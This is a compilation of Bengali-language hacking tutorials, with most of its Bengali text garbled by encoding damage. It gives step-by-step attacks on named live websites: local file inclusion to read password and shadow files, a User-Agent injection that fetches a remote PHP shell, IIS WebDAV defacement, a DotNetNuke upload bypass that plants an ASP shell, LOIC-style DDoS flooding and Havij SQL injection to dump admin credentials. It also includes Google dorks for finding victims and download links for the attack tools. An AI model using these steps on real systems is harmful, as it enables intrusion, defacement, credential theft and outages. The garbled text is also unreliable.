inclusion
তাচছর
এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd
এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
এখন
অভযা পাআচছর
পরচছফ
কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip
wwwmywebsitecomindexphppage=products
এখাচছন
একটা কতজকতন রকষয করন সম
php এয
য page=products যচছযচছছ
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
